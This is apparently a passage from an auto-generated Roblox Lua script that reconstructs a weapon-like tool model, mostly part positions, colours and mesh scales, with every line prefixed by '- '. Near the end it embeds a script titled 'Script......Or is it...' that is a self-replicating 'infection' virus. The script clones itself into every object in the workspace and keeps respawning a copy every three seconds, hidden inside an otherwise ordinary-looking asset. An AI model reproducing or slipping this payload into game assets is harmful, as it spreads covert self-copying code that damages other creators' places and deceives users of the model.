- Part317.CFrame = CFrame.new(27.0925293, 1.60913098, 138.346024, 0.00939130783, 0.999955833, 1.70753026e-07, 1.92485512e-08, -5.04777447e-08, -0.999999583, -0.999955118, 0.00939165056, -1.76384845e-08)
- Part317.BottomSurface = Enum.SurfaceType.Smooth
- Part317.TopSurface = Enum.SurfaceType.Smooth
- Part317.Position = Vector3.new(27.0925293, 1.60913098, 138.346024)
- Part317.Orientation = Vector3.new(89.9499969, 95.9000015, 159.12999)
- CylinderMesh318.Parent = Part317
- CylinderMesh318.Scale = Vector3.new(0.180000007, 0.450000137, 0.150000781)
- CylinderMesh318.Scale = Vector3.new(0.180000007, 0.450000137, 0.150000781)
- Part319.Parent = Tool0
- Part319.Material = Enum.Material.SmoothPlastic
- Part319.BrickColor = BrickColor.new("Dark stone grey")
- Part319.Rotation = Vector3.new(0, -0.539999962, 0)
- Part319.Anchored = true
- Part319.FormFactor = Enum.FormFactor.Custom
- Part319.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part319.CFrame = CFrame.new(27.0330811, 1.47119105, 138.321472, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
- Part319.BottomSurface = Enum.SurfaceType.Smooth
- Part319.TopSurface = Enum.SurfaceType.Smooth
- Part319.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part319.Position = Vector3.new(27.0330811, 1.47119105, 138.321472)
- Part319.Orientation = Vector3.new(0, -0.539999962, 0)
- Part319.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh320.Parent = Part319
- BlockMesh320.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
- BlockMesh320.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
- Part321.Parent = Tool0
- Part321.Material = Enum.Material.SmoothPlastic
- Part321.BrickColor = BrickColor.new("Dark stone grey")
- Part321.Rotation = Vector3.new(90, 0, -89.4599991)
- Part321.Anchored = true
- Part321.FormFactor = Enum.FormFactor.Custom
- Part321.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part321.CFrame = CFrame.new(27.0925293, 1.58227503, 138.346024, 0.00939130783, 0.999955833, 1.70753026e-07, 1.92485512e-08, -5.04777447e-08, -0.999999583, -0.999955118, 0.00939165056, -1.76384845e-08)
- Part321.BottomSurface = Enum.SurfaceType.Smooth
- Part321.TopSurface = Enum.SurfaceType.Smooth
- Part321.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part321.Position = Vector3.new(27.0925293, 1.58227503, 138.346024)
- Part321.Orientation = Vector3.new(89.9499969, 95.9000015, 159.12999)
- Part321.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh322.Parent = Part321
- CylinderMesh322.Offset = Vector3.new(0, 0, -0.0269999988)
- CylinderMesh322.Scale = Vector3.new(0.180000007, 0.225000009, 0.239999995)
- CylinderMesh322.Scale = Vector3.new(0.180000007, 0.225000009, 0.239999995)
- Part323.Parent = Tool0
- Part323.Material = Enum.Material.SmoothPlastic
- Part323.BrickColor = BrickColor.new("Dark stone grey")
- Part323.Rotation = Vector3.new(90.5400009, -45, -89.2399979)
- Part323.Anchored = true
- Part323.FormFactor = Enum.FormFactor.Custom
- Part323.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part323.CFrame = CFrame.new(27.1077881, 1.63916004, 138.346252, 0.00939139724, 0.707075477, -0.707075417, 3.55030458e-08, -0.70710659, -0.707106471, -0.999955356, 0.00664065778, -0.00664073229)
- Part323.BottomSurface = Enum.SurfaceType.Smooth
- Part323.TopSurface = Enum.SurfaceType.Smooth
- Part323.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part323.Position = Vector3.new(27.1077881, 1.63916004, 138.346252)
- Part323.Orientation = Vector3.new(45, -90.5400009, 180)
- Part323.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh324.Parent = Part323
- BlockMesh324.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
- BlockMesh324.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
- Part325.Parent = Tool0
- Part325.Material = Enum.Material.SmoothPlastic
- Part325.BrickColor = BrickColor.new("Dark stone grey")
- Part325.Rotation = Vector3.new(-90.5400009, -45, 89.2399979)
- Part325.Anchored = true
- Part325.FormFactor = Enum.FormFactor.Custom
- Part325.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part325.CFrame = CFrame.new(27.1077881, 1.66210902, 138.346252, 0.00939139724, -0.707075417, -0.707075477, 3.55030458e-08, -0.707106471, 0.70710659, -0.999955356, -0.00664073229, -0.00664065778)
- Part325.BottomSurface = Enum.SurfaceType.Smooth
- Part325.TopSurface = Enum.SurfaceType.Smooth
- Part325.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part325.Position = Vector3.new(27.1077881, 1.66210902, 138.346252)
- Part325.Orientation = Vector3.new(-45, -90.5400009, 180)
- Part325.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh326.Parent = Part325
- BlockMesh326.Offset = Vector3.new(0, 0, 0.00300000003)
- BlockMesh326.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
- BlockMesh326.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
- Part327.Parent = Tool0
- Part327.Material = Enum.Material.SmoothPlastic
- Part327.BrickColor = BrickColor.new("Dark stone grey")
- Part327.Rotation = Vector3.new(0, -0.539999962, 0)
- Part327.Anchored = true
- Part327.FormFactor = Enum.FormFactor.Custom
- Part327.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part327.CFrame = CFrame.new(27.15271, 1.47119105, 138.322876, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
- Part327.BottomSurface = Enum.SurfaceType.Smooth
- Part327.TopSurface = Enum.SurfaceType.Smooth
- Part327.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part327.Position = Vector3.new(27.15271, 1.47119105, 138.322876)
- Part327.Orientation = Vector3.new(0, -0.539999962, 0)
- Part327.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh328.Parent = Part327
- BlockMesh328.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
- BlockMesh328.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
- Part329.Parent = Tool0
- Part329.Material = Enum.Material.SmoothPlastic
- Part329.BrickColor = BrickColor.new("Dark stone grey")
- Part329.Rotation = Vector3.new(-90, 0, 89.4599991)
- Part329.Anchored = true
- Part329.FormFactor = Enum.FormFactor.Custom
- Part329.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part329.CFrame = CFrame.new(27.1530762, 1.693115, 138.323853, 0.00939139724, -0.999955833, -2.45538843e-08, 3.55030458e-08, 1.02097069e-07, 0.999999821, -0.999955356, -0.00939165056, 3.52667371e-08)
- Part329.BottomSurface = Enum.SurfaceType.Smooth
- Part329.TopSurface = Enum.SurfaceType.Smooth
- Part329.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part329.Position = Vector3.new(27.1530762, 1.693115, 138.323853)
- Part329.Orientation = Vector3.new(-89.9700012, -34.8499985, 19.1700001)
- Part329.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh330.Parent = Part329
- CylinderMesh330.Offset = Vector3.new(0, 0, -0.0360000022)
- CylinderMesh330.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
- CylinderMesh330.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
- Part331.Parent = Tool0
- Part331.Material = Enum.Material.SmoothPlastic
- Part331.BrickColor = BrickColor.new("Dark stone grey")
- Part331.Rotation = Vector3.new(-90, 0, 89.4599991)
- Part331.Anchored = true
- Part331.FormFactor = Enum.FormFactor.Custom
- Part331.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part331.CFrame = CFrame.new(27.0330811, 1.693115, 138.321472, 0.00939139724, -0.999955833, -2.45538843e-08, 3.55030458e-08, 1.02097069e-07, 0.999999821, -0.999955356, -0.00939165056, 3.52667371e-08)
- Part331.BottomSurface = Enum.SurfaceType.Smooth
- Part331.TopSurface = Enum.SurfaceType.Smooth
- Part331.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part331.Position = Vector3.new(27.0330811, 1.693115, 138.321472)
- Part331.Orientation = Vector3.new(-89.9700012, -34.8499985, 19.1700001)
- Part331.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh332.Parent = Part331
- CylinderMesh332.Offset = Vector3.new(0, 0, -0.0360000022)
- CylinderMesh332.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
- CylinderMesh332.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
- Part333.Parent = Tool0
- Part333.Material = Enum.Material.SmoothPlastic
- Part333.BrickColor = BrickColor.new("Dark stone grey")
- Part333.Rotation = Vector3.new(-90.5400009, -45, 89.2399979)
- Part333.Anchored = true
- Part333.FormFactor = Enum.FormFactor.Custom
- Part333.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part333.CFrame = CFrame.new(27.0773926, 1.63916004, 138.345764, 0.00939139724, -0.707075417, -0.707075477, 3.55030458e-08, -0.707106471, 0.70710659, -0.999955356, -0.00664073229, -0.00664065778)
- Part333.BottomSurface = Enum.SurfaceType.Smooth
- Part333.TopSurface = Enum.SurfaceType.Smooth
- Part333.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part333.Position = Vector3.new(27.0773926, 1.63916004, 138.345764)
- Part333.Orientation = Vector3.new(-45, -90.5400009, 180)
- Part333.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh334.Parent = Part333
- BlockMesh334.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
- BlockMesh334.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
- Script335.Name = "Script......Or is it..."
- Script335.Parent = mas
- table.insert(cors,sandbox(Script335,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Part336.Name = "AimPart"
- Part336.Parent = Tool0
- Part336.Material = Enum.Material.SmoothPlastic
- Part336.Transparency = 1
- Part336.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part336.Anchored = true
- Part336.FormFactor = Enum.FormFactor.Custom
- Part336.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part336.CFrame = CFrame.new(27.0975342, 1.63012695, 137.699341, -0.999955297, 0, 0.00939147174, 0, 1, 0, -0.00939147174, 0, -0.999955297)
- Part336.BottomSurface = Enum.SurfaceType.Smooth
- Part336.TopSurface = Enum.SurfaceType.Smooth
- Part336.Position = Vector3.new(27.0975342, 1.63012695, 137.699341)
- Part336.Orientation = Vector3.new(0, 179.459991, 0)
- BlockMesh337.Parent = Part336
- BlockMesh337.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
- BlockMesh337.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = game:GetService("Players").LocalPlayer.Backpack
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
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